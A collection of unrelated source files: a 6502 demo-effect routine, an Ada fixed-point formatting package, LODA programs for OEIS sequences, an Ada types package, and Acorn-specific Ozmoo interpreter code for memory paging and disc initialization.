; lda #144+7
; ldx #0
; jsr mode7_set_column_shadow_fast
\\ Draw base layer to screen
LDX fx_interference_x
LDY fx_interference_y
JSR fx_interference_draw_screen
\\ Draw top layer to screen with EOR
LDY fx_interference_x_idx
LDX fx_interference_sin_table_x, Y
LDY #16
JSR fx_interference_blend_screen
\\ Update motion for both layers
\\ Currently base layer just bounces x,y linearly around available area
CLC
lda fx_interference_x
ADC fx_interference_dx
BMI x_hit_left
CMP #INTERFERENCE_max_x
BCC x_ok
\\ X hit right
LDA #&FF ; -1
STA fx_interference_dx
LDA #INTERFERENCE_max_x
JMP x_ok
.x_hit_left
LDA #1
STA fx_interference_dx
LDA #0
.x_ok
STA fx_interference_x
CLC
lda fx_interference_y
ADC fx_interference_dy
BMI y_hit_top
CMP #INTERFERENCE_max_y
BCC y_ok
\\ Y hit bottom
LDA #&FF ; -1
STA fx_interference_dy
LDA #INTERFERENCE_max_y
JMP y_ok
.y_hit_top
LDA #1
STA fx_interference_dy
LDA #0
.y_ok
STA fx_interference_y
\\ Top layer is lookup into sine table
CLC
LDA fx_interference_x_idx
ADC #&1
AND #INTERFERENCE_table_size-1
STA fx_interference_x_idx
.return
RTS
}
\ ******************************************************************
\ * Lookup tables
\ ******************************************************************
\\ This assumes data is compiled by BeebAsm at correct address for SWRAM
\\ i.e. &8000 onwards
.fx_interference_table_LO
{
EQUB LO(circles_data_00)
EQUB LO(circles_data_10)
EQUB LO(circles_data_01)
EQUB LO(circles_data_11)
EQUB LO(circles_data_02)
EQUB LO(circles_data_12)
}
.fx_interference_table_HI
{
EQUB HI(circles_data_00)
EQUB HI(circles_data_10)
EQUB HI(circles_data_01)
EQUB HI(circles_data_11)
EQUB HI(circles_data_02)
EQUB HI(circles_data_11)
}
.fx_interference_sin_table_x
FOR n, 0, INTERFERENCE_table_size-1, 1
EQUB 18 + 17 * SIN(2 * PI * n / INTERFERENCE_table_size)
NEXT
.fx_interference_mult_LO
FOR n, 0, MODE7_char_height-1, 1
EQUB LO(INTERFERENCE_sprite_width * n) ; sprite pitch
NEXT
.fx_interference_mult_HI
FOR n, 0, MODE7_char_height-1, 1
EQUB HI(INTERFERENCE_sprite_width * n) ; sprite pitch
NEXT
INCLUDE "src\sprites\circles.asm"
.end_fx_interference |
src/fmt-generic_ordinary_fixed_point_argument.adb | likai3g/afmt | 0 | 7853 | <gh_stars>0
pragma Ada_2020;
with Interfaces; use Interfaces;
with Ada.Numerics;
with Ada.Numerics.Generic_Elementary_Functions;
package body Fmt.Generic_Ordinary_Fixed_Point_Argument is
package Math is
new Ada.Numerics.Generic_Elementary_Functions(Long_Float);
Exp : constant Long_Long_Float := 10.0 ** Fixed_Point_Type'Aft;
Scale : constant Long_Long_Float := Fixed_Point_Type'Small * Exp;
Int_Scale : constant Long_Long_Integer := Long_Long_Integer(Scale);
To_Char : constant array(Unsigned_64 range 0 .. 9) of Character := "0123456789";
type Display_Goal is record
N : Unsigned_64; -- a number maybe very big
M : Unsigned_64; -- a scale number, maybe very big
P : Unsigned_64; -- a patch value, at most two digits
end record;
type Decimal is record
K : Unsigned_64; -- coefficient
R : Unsigned_64; -- remainder, one digit
end record;
-- Dec_Cache : array (Long_Long_Integer range 0 .. 1000) of Decimal :=
-- [for I in Long_Long_Integer range 0 .. 1000 => (I / 10, I mod 10)];
function To_Long_Long_Integer (X : Fixed_Point_Type) return Long_Long_Integer
with Pre => Fixed_Point_Type'Base'Size in 8 | 16 | 32 | 64;
function To_Long_Long_Integer (X : Fixed_Point_Type) return Long_Long_Integer
is
BX : Fixed_Point_Type'Base := X;
begin
case Fixed_Point_Type'Base'Size is
when 8 =>
declare
i : Integer_8 with Address => BX'Address;
begin
return Long_Long_Integer(i);
end;
when 16 =>
declare
i : Integer_16 with Address => BX'Address;
begin
return Long_Long_Integer(i);
end;
when 32 =>
declare
i : Integer_32 with Address => BX'Address;
begin
return Long_Long_Integer(i);
end;
when 64 =>
declare
i : Integer_64 with Address => BX'Address;
begin
return Long_Long_Integer(i);
end;
when others =>
raise Storage_Error;
end case;
end To_Long_Long_Integer;
function Compute_Multiply_Result_Length (
N, M : Long_Long_Integer)
return Natural
is
L : Natural := 0;
X : Unsigned_64 := Safe_Abs(N);
begin
loop
L := L + 1;
X := X / 10;
exit when X = 0;
end loop;
X := Safe_Abs(M);
loop
L := L + 1;
X := X / 10;
exit when X = 0;
end loop;
if N < 0 then
L := L + 1;
end if;
return L;
end Compute_Multiply_Result_Length;
function To_Argument (X : Fixed_Point_Type) return Argument_Type'Class
is
begin
return Fixed_Point_Argument_Type'(Value => X, others => <>);
end To_Argument;
function "&" (Args : Arguments; X : Fixed_Point_Type) return Arguments
is
begin
return Args & To_Argument(X);
end "&";
overriding
procedure Parse (Self : in out Fixed_Point_Argument_Type; Edit : String)
is
procedure Conf (K, V : String)
is
begin
if K'Length /= 1 or else V'Length = 0 then
return;
end if;
case K(K'First) is
when 'a' =>
if Is_Decimal_Number(V) then
Self.Aft := Natural'Value(V);
end if;
when 'w' =>
if Is_Decimal_Number(V) then
Self.Width := Natural'Value(V);
end if;
when others =>
null;
end case;
end Conf;
begin
Parse_KV_Edit(Edit, Conf'Access);
end Parse;
overriding
function Get_Length (Self : in out Fixed_Point_Argument_Type) return Natural
is
begin
if Self.Width /= 0 then
return Self.Width;
else
return Compute_Multiply_Result_Length(
N => To_Long_Long_Integer(Self.Value),
M => Int_Scale);
end if;
end Get_Length;
function Split (X : Unsigned_64) return Decimal
is
pragma Inline(Split);
begin
return (K => X / 10, R => X mod 10);
end Split;
overriding
procedure Put (
Self : in out Fixed_Point_Argument_Type;
Edit : String;
To : in out String)
is
Dot_Pos : constant Integer := To'Last - Fixed_Point_Type'Aft;
H : constant Natural := To'First;
L : Natural := To'Last;
V : constant Long_Long_Integer := To_Long_Long_Integer(Self.Value);
G : Display_Goal := (Safe_Abs(V), Safe_Abs(Int_Scale), 0);
N, M, R, Y : Decimal;
procedure Display (Digit : Unsigned_64)
is
pragma Inline(Display);
begin
if L = Dot_Pos then
To(L) := '.';
L := L - 1;
if L < H then
return;
end if;
end if;
To(L) := To_Char(Digit);
-- To(L) := Character'Val(Digit + Character'Pos('0'));
L := L - 1;
end Display;
begin
loop
N := Split(G.N);
M := Split(G.M);
R := Split(N.R * M.R + G.P);
Y := Split(N.K * M.R + M.K * N.R + R.K);
Display(R.R);
exit when L < H; -- To'First;
Display(Y.R);
exit when L < H; -- To'First;
-- adjust next goal
G := (N.K, M.K, Y.K);
exit when G = (0, 0, 0);
end loop;
while L + 1 < To'Last loop
exit when To(L + 1) /= '0';
To(L + 1) := ' ';
L := L + 1;
end loop;
if V < 0 then
To(L) := '-';
L := L - 1;
end if;
if L >= To'First then
To(To'First .. L) := (others => Self.Fill);
end if;
end Put;
end Fmt.Generic_Ordinary_Fixed_Point_Argument;
|
programs/oeis/080/A080846.asm | neoneye/loda | 22 | 19103 | ; A080846: Fixed point of the morphism 0->010, 1->011, starting from a(1) = 0.
; 0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,1,0
add $0,1
lpb $0
lpb $0
dif $0,3
lpe
mod $0,3
lpe
div $0,2
|
example_relationships/src/application_types.ads | cortlandstarrett/mcada | 0 | 18742 | <reponame>cortlandstarrett/mcada
with System;
--
package Application_Types is
type Time_Unit is (millisecond, second);
Time_Unit_First: constant Time_Unit := Time_Unit'first;
----------------------------------------------------------------------------------------------
type Base_Integer_Type is new integer;
function "+" (A : Base_Integer_Type;
B : Base_Integer_Type) return Base_Integer_Type;
function "-" (A : Base_Integer_Type;
B : Base_Integer_Type) return Base_Integer_Type;
function "*" (A : Base_Integer_Type;
B : Base_Integer_Type) return Base_Integer_Type;
function "/" (Numerator : Base_Integer_Type;
Denominator : Base_Integer_Type) return Base_Integer_Type;
type Base_Float_Type is new float;
function "+" (A : Base_Float_Type;
B : Base_Float_Type) return Base_Float_Type;
function "-" (A : Base_Float_Type;
B : Base_Float_Type) return Base_Float_Type;
function "*" (A : Base_Float_Type;
B : Base_Float_Type) return Base_Float_Type;
function "/" (Numerator : Base_Float_Type;
Denominator : Base_Float_Type) return Base_Float_Type;
function "**" (A : Base_Float_Type;
B : Integer) return Base_Float_Type;
-- Do not change this value without exceedingly good reasons.
Maximum_Number_Of_Characters_In_String : constant Positive := 32;
subtype Base_Text_Index_Type is Positive range 1 .. Maximum_Number_Of_Characters_In_String;
subtype Base_Text_Type is string (Base_Text_Index_Type'range);
subtype Base_Boolean_Type is Boolean;
----------------------------------------------------------------------------------------------
Base_Integer_Type_First : constant Base_Integer_Type := 0;
Base_Float_Type_First : constant Base_Float_Type := 0.0;
Base_Boolean_Type_First : constant Boolean := False;
Boolean_First : constant Boolean := False; -- To be depracated by Base_Boolean_Type_First
Base_Text_Type_First : constant Base_Text_Type := (others => ' ');
Time_First : constant Base_Integer_Type := 0;
----------------------------------------------------------------------------------------------
-- JM Debug code GLOBAL DATA ACCESS for Debugging purposes.
--
Count_Of_Objects : integer := 0;
Count_Of_Relationships : integer := 0;
Count_Of_Lists : integer := 0;
Count_Of_Structures : integer := 0;
Count_Of_Events : integer := 0;
----------------------------------------------------------------------------------------------
--
-- This is a hard coded value, and should therefore be changed if any new
-- type or subtype is added. The count includes :
-- (1) Time_Unit
-- (2) Base_Integer_Type
-- (3) Base_Float_Type
-- (4) Base_Boolean_Type
-- (5) Base_Text_Type
-- (6) Base_Text_Index_Type
Types_And_Subtypes_Count : constant Base_Integer_Type := 6;
Stop_Application : exception;
----------------------------------------------------------------------------------------------
end Application_Types;
|
oeis/091/A091702.asm | neoneye/loda-programs | 11 | 86366 | <filename>oeis/091/A091702.asm
; A091702: Column 0 of triangle A091700.
; Submitted by <NAME>
; 1,2,7,23,78,264,895,3034,10286,34872,118225,400813,1358859,4606881,15618510,52950761,179516682,608607667,2063336333,6995240208,23715661274,80402183905,272584057514,924129977596,3133038018732
lpb $0
sub $0,1
sub $3,$4
add $1,$3
add $2,$3
add $4,1
add $4,$2
mov $5,$4
mov $4,$2
mov $2,$3
add $2,$5
add $4,$1
add $5,$4
mov $3,$5
lpe
mov $0,$3
add $0,1
|
Build/Interpreters/beebOzmoo/asm/acorn.asm | polluks/Puddle-BuildTools | 38 | 3659 | ; Acorn-specific code factored out into its own file for readability.
; Note that the code macros defined in here have the suffix "_inline" if control
; flows straight through them or "_subroutine" if they end by executing rts (or
; equivalent).
; A note on Acorn memory models - this affects code in many places, but I have
; to write this somewhere.
;
; The second processor build (ifndef ACORN_SWR) has a simple flat memory model
; with user RAM from $0400-$f7ff inclusive. It's rather like the C64 but without
; even the complication of paging the kernal ROM in and out, so it doesn't need
; the cache which the C64 code uses when ALLMEM is defined. SFTODO: SAY SOMETHING ABOUT ACORN_TURBO_SUPPORTED
;
; The sideways RAM build (ifdef ACORN_SWR) is a bit more involved. The hardware
; situation here is that we have main RAM (not paged) from $0000-$7fff
; inclusive, with user RAM starting at OSHWM/PAGE, which varies between machines
; but will typically be in the range $e00-$1f00. Some builds hard-code a certain
; address, others use acorn-relocate.asm to accommodate this variation. We also
; have up to 16 different 16K banks of "sideways" RAM paged in at $8000-$bfff
; inclusive. (The BBC series and Electron have different ways to control paging;
; see the acorn_page_in_bank_* macros.) The OS is not paged and lives
; permanently at $c000-$ffff inclusive. The loader will have located any
; available sideways RAM banks, verified there's at least one and put the count
; and a list of bank numbers at ram_bank_{count,list} for us. SFTODO: MINOR QUIBBLE - LOADER WILL HAVE VERIFIED WE HAVE ENOUGH SWR BANKS, THERE MAY BE NONE IF WE CAN GET BY WITHOUT ANY
;
; Acorn Ozmoo uses two slightly different sideways RAM models. Both of them
; allow static/high memory to be spread over approximately 9 sideways RAM banks
; (indexed in 512-byte chunks with indexes from 0-254, with chunk 0 starting
; at story_start+nonstored_blocks). The standard Ozmoo mempointer (data) and
; z_pc_mempointer (Z-machine PC) pointers are extended to each have an associated
; RAM bank (mempointer_ram_bank and z_pc_mempointer_ram_bank respectively). (If
; the relevant byte of Z-machine memory lives in main RAM, the bank number is
; irrelevant as main RAM is not affected by paging.)
;
; The "big dynamic RAM" model (ifndef ACORN_SWR_SMALL_DYNMEM) allows the game's
; dynamic memory (which starts in main RAM at story_start, as on any Ozmoo build)
; to be larger than main RAM and overflow into the first 16K sideways RAM bank.
; The first 16K sideways RAM bank therefore has to be paged in by default, so
; that miscellaneous Ozmoo code which might try to access dynamic memory can do
; so without any trouble. In this model, accesses to memory via read_next_byte
; and read_next_byte_at_z_pc temporarily page in the relevant bank to read the
; byte and then page the first 16K sideways RAM bank back in. (As an
; optimisation, read_next_byte_at_z_pc_unsafe* and friends are used during
; instruction decoding to avoid flipping back and forth excessively while
; reading a multi-byte instruction. This is possible because only a very limited
; set of cases can cause accesses to dynamic memory during instruction decoding.)
;
; The "small dynamic RAM" model (ifdef ACORN_SWR_SMALL_DYNMEM) requires the game's
; dynamic memory to fit in main RAM. Since dynamic memory can then be accessed
; regardless of the currently paged in bank, Ozmoo instead keeps the bank
; containing the Z-machine's PC paged in by default, temporarily paging it out
; only when reading a data byte.
;
; On a second processor or BBC series machine with shadow RAM, screen RAM is
; separate from user RAM and doesn't get in the way. On a BBC B with no shadow
; RAM, we use a trick (see ACORN_NO_SHADOW) to relocate the 1K screen RAM to
; $3c00, leave a gap in the Ozmoo binary to accommodate that and we can then
; mostly forget about screen RAM. Dynamic memory starts at story_start just
; after the Ozmoo stack (as on the C64) and is followed (with suitable paging
; for ACORN_SWR) directly by the virtual memory cache.
;
; On the Electron shadow RAM is rare and we can't use the ACORN_NO_SHADOW trick
; to get the screen memory (8K, from $6000-$8000) out of the way. Ozmoo really
; wants dynamic memory to be contiguous, and there isn't really enough RAM free
; between the Ozmoo stack and the screen memory to run all the games we'd like
; to. We therefore compromise by forcing the use of the big dynamic RAM model
; and making dynamic RAM start at $8000 instead of following the Ozmoo stack.
; This limits us to 16K of dynamic memory, which isn't too bad (and is more than
; we'd have free below screen RAM). We use the main RAM between the Ozmoo stack
; and the screen RAM as additional virtual memory cache so it isn't wasted. An
; Electron is therefore about 7K worse off than a BBC B with the same amount of
; sideways RAM as a result of its larger screen memory, in addition to not
; supporting games needing more than 16K of dynamic memory. The Electron save/
; restore code has to be slightly different because the data we need to save/
; restore is no longer contiguous in memory.
; To improve readability of code and avoid double-nesting so we can test for
; ACORN_SWR and !ACORN_SWR_SMALL_DYNMEM in a single !ifdef, we define
; ACORN_SWR_BIG_DYNMEM internally - the build script should never set this.
!ifdef ACORN_SWR {
!ifndef ACORN_SWR_SMALL_DYNMEM {
ACORN_SWR_BIG_DYNMEM = 1
} else { ; ACORN_SWR_SMALL_DYNMEM
!ifdef ACORN_ELECTRON_SWR {
!error "ACORN_ELECTRON_SWR is not compatible with ACORN_SWR_SMALL_DYNMEM"
}
}
}
!zone {
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Sideways RAM paging
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
!ifdef ACORN_SWR {
; SF: ENHANCEMENT: It would probably be possible (even easy) to use an AQR
; cartridge for all sideways RAM on a Master or Electron; it has its own special
; paging register though, so we'd need a separate build to support it, and auto-
; detecting it in a way that doesn't interfere with the user's other use of it
; may be tricky. There's also some sort of unlock stuff to contend with, I think.
; These macros must leave the selected bank number in A or Y as appropriate.
!ifndef ACORN_ELECTRON_SWR {
!macro acorn_page_in_bank_using_a .operand {
lda .operand
sta romsel_copy
sta bbc_romsel
}
!macro acorn_page_in_bank_using_a_comma_x .operand {
lda .operand,x
sta romsel_copy
sta bbc_romsel
}
!macro acorn_page_in_bank_using_a_comma_y .operand {
lda .operand,y
sta romsel_copy
sta bbc_romsel
}
!macro acorn_page_in_bank_using_y .operand {
ldy .operand
sty romsel_copy
sty bbc_romsel
}
} else { ; ACORN_ELECTRON_SWR
!macro acorn_page_in_bank_using_a .operand {
lda #12
sta romsel_copy
sta electron_romsel
lda .operand
sta romsel_copy
sta electron_romsel
}
!macro acorn_page_in_bank_using_a_comma_x .operand {
lda #12
sta romsel_copy
sta electron_romsel
lda .operand,x
sta romsel_copy
sta electron_romsel
}
!macro acorn_page_in_bank_using_a_comma_y .operand {
lda #12
sta romsel_copy
sta electron_romsel
lda .operand,y
sta romsel_copy
sta electron_romsel
}
!macro acorn_page_in_bank_using_y .operand {
ldy #12
sty romsel_copy
sty electron_romsel
ldy .operand
sty romsel_copy
sty electron_romsel
}
}
}
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Initialization and finalization
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Initialization code which may be placed after the end of the Z-machine stack;
; this means it will be overwritten as soon as anything is loaded at
; story_start.
!macro acorn_init_code_overlapping_game_data {
; Initialization performed very early during startup.
deletable_init_start
ldx #1
jsr do_osbyte_rw_escape_key
!ifdef ACORN_NO_SHADOW {
+set_up_mode_7_3c00_inline
}
jsr screenkernal_init
; Now screenkernal_init has been executed, it's safe to call s_printchar, so
; install our own error handler which will use s_printchar by default. No
; error should be able to occur before this point. If an error occurs during
; a restart, which will re-run the executable, there's not much we can do
; but it's probably OK because the load will just replace the code with an
; identical copy.
lda #<error_handler
sta brkv
lda #>error_handler
sta brkv + 1
!ifdef ACORN_CURSOR_PASS_THROUGH {
ldx #1
jsr do_osbyte_set_cursor_editing
}
!ifdef ACORN_FUNCTION_KEY_PASS_THROUGH {
; We're going to generate ZSCII codes for the unshifted function keys. We
; choose a base of 133 (=ZSCII f1) for f0 because if we set a base of 132 so
; Acorn f1=ZSCII f1, Acorn f0 would act like cursor right. If we want Acorn
; f1=ZSCII f1 we'll fix that up in the translation table. SFTODO: I HAVEN'T ADDED THIS OPTION TO THE TRANSLATION TABLE YET
lda #osbyte_rw_function_key_status
ldx #133
jsr do_osbyte_y_0
; In order to allow the use of *KEY expansions, we'll make the shifted
; function keys generate those.
lda #osbyte_rw_shift_function_key_status
ldx #1 ; expand as normal soft key
jsr do_osbyte_y_0
}
; Patch re_enter_language to enter the current language; reading it here
; saves a few bytes of non-deletable code.
lda #osbyte_read_language
ldx #0
ldy #$ff
jsr osbyte
stx re_enter_language_ldx_imm + 1
!ifndef ACORN_SWR {
; On a second processor, a soft break will transfer control back to our
; execution address. We will have thrown away our initialization code by
; that point and can't restart properly. In order to avoid random behaviour
; and probably a crash, we patch the jmp at the start of the executable to
; transfer control to re_enter_language. This means that although the
; language name gets printed twice, a soft break otherwise gives a clean
; result similar to that on a non-second processor. This code is harmless
; if we're not running on a second processor, but it's not necessary either.
lda #<re_enter_language
sta initial_jmp + 1
lda #>re_enter_language
sta initial_jmp + 2
}
!ifdef ACORN_TURBO_SUPPORTED {
; This executable doesn't have a ROM header indicating we want the turbo
; mode enabled, so it will have been disabled when were were executed. Turn
; it back on if we do want it.
bit is_turbo
bpl .dont_enable_turbo
lda #$80
sta turbo_control
.dont_enable_turbo
}
+init_readtime_inline
jmp init_cursor_control
; SFTODO: Don't forget more code can go here if it can be executed before we
; start to put data at story_start.
} ; End of acorn_init_code_overlapping_game_data_inline
; Initialization subroutines which will be placed inside the Z-machine stack.
!macro acorn_init_code_in_stack {
screenkernal_init
+screenkernal_init_inline
rts
}
; Initialization performed shortly after startup, just after
; acorn_deletable_init_start. (The distinction is not that important on Acorn
; as the Ozmoo executable itself doesn't generate a splash screen.)
!macro acorn_deletable_init_inline {
!ifdef TRACE_FLOPPY {
; Call streams_init so the tracing is able to show the readblocks calls
; performed here.
jsr streams_init
}
.dir_ptr = zp_temp ; 2 bytes
.game_blocks = zp_temp + 2 ; 2 bytes
; We can't always use story_start to store the catalogue sectors because on an
; ACORN_ELECTRON_SWR build that's in sideways RAM, and we can't always use
; scratch_double_page because second processor builds don't have it.
!ifdef scratch_double_page {
.catalogue = scratch_double_page
} else {
.catalogue = story_start
}
!ifndef ACORN_ADFS {
; Examine the disc catalogue and determine the first sector occupied by the
; DATA file containing the game.
; Because this is initialisation code, we know the following variables are
; already set to predictable values. This optimisation was useful at one
; point but it's not really important right now; it isn't too confusing so
; let's keep it anyway now it's been tested.
!if 0 {
lda #2
sta readblocks_numblocks
lda #0
sta readblocks_currentblock
sta readblocks_currentblock + 1
sta readblocks_mempos ; .catalogue is page-aligned
!ifdef ACORN_TURBO_SUPPORTED {
; In reality this is redundant but let's play it safe.
sta readblocks_mempos + 2
}
}
lda #>.catalogue
sta .dir_ptr + 1
sta readblocks_mempos + 1
lda #0
sta readblocks_base
!ifndef ACORN_DSD {
sta readblocks_base + 1
}
; Note that because we're reading the first few sectors, this works
; correctly whether this is an ACORN_DSD build or not.
jsr readblocks
lda #8
sta .dir_ptr
.find_file_loop
ldy #0
ldx #(-8 & $ff)
.name_compare_loop
lda (.dir_ptr),y
; The directory name will have the top bit set iff the file is locked; we
; don't care about that here, so we need to strip it off. It's harmless to
; just do this for all characters.
and #$7f
cmp .data_filename-(-8 & $ff),x
bne .file_not_found
iny
inx
beq .file_found
bne .name_compare_loop
.data_filename
!text "DATA $"
.file_not_found
clc
lda .dir_ptr
adc #8
sta .dir_ptr
bne .find_file_loop
brk
!byte 0
!text "DATA not found"
!byte 0
.file_found
; We found the file's name using sector 0, we now want to look at the
; corresponding part of sector 1. Adjust .dir_ptr for convenience.
inc .dir_ptr + 1
; Determine the start sector of the DATA file and set readblocks_base.
ldy #6
lda (.dir_ptr),y
and #$3
!ifndef ACORN_DSD {
sta readblocks_base + 1
iny
lda (.dir_ptr),y
sta readblocks_base
} else {
sta dividend + 1
iny
lda (.dir_ptr),y
sta dividend
lda #0
sta divisor + 1
lda #10
sta divisor
jsr divide16
lda division_result
sta readblocks_base
}
; Determine the length of the DATA file in blocks.
ldy #6
lda (.dir_ptr),y
and #%110000
lsr
lsr
lsr
lsr
sta .game_blocks + 1 ; high byte of length in blocks
dey
lda (.dir_ptr),y
sta .game_blocks ; low byte of length in blocks
dey
lda (.dir_ptr),y ; low byte of length in bytes
beq +
inc .game_blocks
bne +
inc .game_blocks + 1
+
!ifdef ACORN_DSD {
; If this is a double-sided game, there will be *approximately* (definitely
; no more, possibly a track's worth of data less) the same amount of data
; on the second side. We don't look up :2.$.DATA and determine its length,
; we just double .game_blocks. The absolute worst case here is we read a
; track's worth of junk which won't be accessed because it's past the end
; of the game.
asl .game_blocks
rol .game_blocks + 1
!ifndef VMEM {
; If we don't have virtual memory, the logic below to cap .game_blocks at
; .ram_blocks won't kick in. Since we don't have virtual memory, we know the
; game will fit in RAM - but due to the doubling of .game_blocks we just did,
; it might be larger than RAM, causing us to read too much and corrupt
; things. TODO: If we simply passed in the game size as a build parameter
; this sort of thing would go away.
lda #0
sta .game_blocks + 1
lda #>(flat_ramtop - story_start)
cmp .game_blocks
bcs +
sta .game_blocks
+
}
}
} else { ; ACORN_ADFS
lda #<game_data_filename
sta scratch_page
lda #>game_data_filename
sta scratch_page + 1
lda #osfile_read_catalogue_information
ldx #<scratch_page
ldy #>scratch_page
jsr osfile
bne +
; The wording of this error is technically incorrect - we're trying to read
; information about the file, not open it - but I don't think it's a big
; deal. It shouldn't be happening at all, of course.
jmp cant_open_data_error
+ lda scratch_page + $a
beq +
inc scratch_page + $b
bne +
inc scratch_page + $c
+ lda scratch_page + $b
sta .game_blocks
lda scratch_page + $c
sta .game_blocks + 1
}
; If .game_blocks is odd, increment it by one so the game data is always
; considered to be a multiple of 512 bytes. This avoids having to worry
; about some corner cases and doesn't cause any problems; on DFS we're doing
; raw sector reads and the extra sector will always exist, on ADFS we may try
; to do a 512-byte read when only 256 bytes are available but that's fine.
lda .game_blocks
and #1
beq +
inc .game_blocks
bne +
inc .game_blocks + 1
+
!ifdef VMEM {
.ram_blocks = .dir_ptr ; 2 bytes
; How much RAM do we have available for game data?
; We have 64 (2^6) 256-byte blocks per sideways RAM bank, if we have any.
lda #0
sta .ram_blocks + 1
!ifdef ACORN_SWR {
lda ram_bank_count
ldx #6
- asl
rol .ram_blocks + 1
dex
bne -
}
sta .ram_blocks
!ifdef ACORN_TUBE_CACHE {
; We have some blocks of cache in the host, which aren't directly accessible
; but are almost as good as our own RAM and which will benefit from
; preloading if we're on a normal second processor. We count them for now so
; we process more of the initial vmap and fix up the inflated value of
; vmap_max_entries later.
.host_cache_size = memory_buffer
lda screen_mode
ora #128 ; force shadow mode on
tax
lda #osbyte_initialise_cache
jsr osbyte
stx .host_cache_size
!ifdef ACORN_TURBO_SUPPORTED {
; A turbo second processor has enough RAM to preload everything in vmap
; without touching the host cache. The host cache will still work, but we
; don't have anything to preload into it, so having initialised it there's
; nothing else to do.
bit is_turbo
bmi .host_cache_initialised
}
; X is cache size in 512-byte blocks, but we want to count 256-byte blocks here.
txa
asl
rol .ram_blocks + 1
sta .ram_blocks
.host_cache_initialised
SFTODOLABELX1
}
!ifdef ACORN_TURBO_SUPPORTED {
; On a turbo second processor, we will use all 128K in banks 1 and 2 as
; virtual memory cache.
bit is_turbo
bpl .dont_count_turbo_ram
inc .ram_blocks + 1
inc .ram_blocks + 1
.dont_count_turbo_ram
}
; We also have some blocks between flat_ramtop and story_start.
; SF: We're doing a constant subtraction in code here, but a) this is
; deletable init code so it doesn't really cost anything b) if we don't,
; the relocation code fails because we have a variation which doesn't follow
; the simple fixed relationship we expect.
lda #>flat_ramtop
sec
sbc #>story_start
clc
adc .ram_blocks
sta .ram_blocks
bcc +
inc .ram_blocks + 1
+
!ifdef ACORN_ELECTRON_SWR {
; We also have some blocks free between extra_vmem_start and the screen RAM.
lda #osbyte_read_screen_address
jsr osbyte
tya
dey
sty screen_ram_start_minus_1
sec
sbc #>extra_vmem_start
tax
clc
adc .ram_blocks
sta .ram_blocks
bcc +
inc .ram_blocks + 1
+ txa
lsr
sta vmem_blocks_in_main_ram
} else {
!ifdef ACORN_SWR {
; This value might be changed below.
lda #0
sta vmem_blocks_in_main_ram
}
}
; .ram_blocks now contains the number of 256-byte blocks of RAM we have
; available, including RAM which will be used for dynamic memory. The build
; system and the loader will have worked together to guarantee that:
; - .ram_blocks >= ACORN_INITIAL_NONSTORED_BLOCKS + 2*vmem_block_pagecount,
; i.e. that we have enough RAM for the game's dynamic memory and two
; 512-byte blocks of virtual memory cache.
; - the game always has at least one block of non-dynamic memory.
; In order to avoid accessing nonexistent game data in an attempt to use all
; that RAM, set .ram_blocks = min(.ram_blocks, .game_blocks).
ldx .game_blocks + 1
lda .game_blocks
cpx .ram_blocks + 1
bne +
cmp .ram_blocks
+ bcs +
stx .ram_blocks + 1
sta .ram_blocks
+
; Set nonstored_blocks to the number of 256-byte blocks of RAM we are going
; to treat as dynamic memory. This is normally the game's actual dynamic
; memory rounded up to a 512-byte boundary, i.e.
; ACORN_INITIAL_NONSTORED_BLOCKS.
lda #ACORN_INITIAL_NONSTORED_BLOCKS
sta nonstored_blocks
!ifdef VMEM {
!ifndef ACORN_NO_DYNMEM_ADJUST {
!ifdef ACORN_TURBO_SUPPORTED {
; SFTODO: REVIEW THIS FRESH
; On a turbo second processor, we can increase nonstored_blocks to promote
; some additional data into dynamic memory and make full use of bank 0. We
; don't need to keep any of bank 0 free for virtual memory cache because we
; have banks 1 and 2 for that. So we set nonstored_blocks = min(game_blocks
; - vmem_block_pagecount, available blocks in bank 0); see below for why we
; subtract vmem_block_pagecount. This subtraction can't cause
; nonstored_blocks < ACORN_INITIAL_NONSTORED_BLOCKS because the build system
; guarantees the game has at least one block of non-dynamic memory. The
; subtraction is otherwise harmless; it just means that for small games one
; 512-byte block of RAM will have to be accessed via the slower virtual
; memory code when it could maybe have been promoted to be dynamic memory.
;
; This adjustment will make it faster to access the part of the game which
; has been promoted into dynamic memory, so we do it even if this is a small
; game and we could address enough RAM for the entire game without it.
bit is_turbo
bpl .no_turbo_dynmem_adjust
SFTODOLABEL1
lda .game_blocks
sec
sbc #vmem_block_pagecount
tax
lda .game_blocks + 1
sbc #0
bne .available_blocks_is_smaller
cpx #>(flat_ramtop - story_start)
bcc .game_blocks_is_smaller
.available_blocks_is_smaller
ldx #>(flat_ramtop - story_start)
.game_blocks_is_smaller
stx nonstored_blocks
.no_turbo_dynmem_adjust
}
!ifdef ACORN_SWR {
; It may be useful to increase nonstored_blocks to promote some additional
; data into dynamic memory, either for performance or to make use of more
; sideways RAM. We must not make it too large for the memory model we're
; using. (This optimisation has relatively limited scope in the small model,
; but it's trivial to support it anyway. It's just conceivable some games
; and/or machines might benefit from --force-big-dynmem to give this
; optimisation more headroom, but of course the big model has its own
; performance drawbacks so it's probably best not using it unless we're
; forced to.)
.max_dynmem = zp_temp + 4 ; 1 byte
!ifdef ACORN_SWR_BIG_DYNMEM {
lda #>swr_ramtop
} else {
lda #>flat_ramtop
}
sec
sbc #>story_start
sta .max_dynmem
; If .game_blocks == .ram_blocks, we want to set nonstored_blocks as high as
; possible; there's no downside as we have enough RAM for the entire game
; and this will allow as much of the game as possible to be accessed via the
; faster dynamic memory code path. Set nonstored_blocks = min(.game_blocks -
; vmem_block_pagecount, .max_dynmem).
ldy .ram_blocks + 1
lda .ram_blocks
cpy .game_blocks + 1
bne .game_blocks_ne_ram_blocks
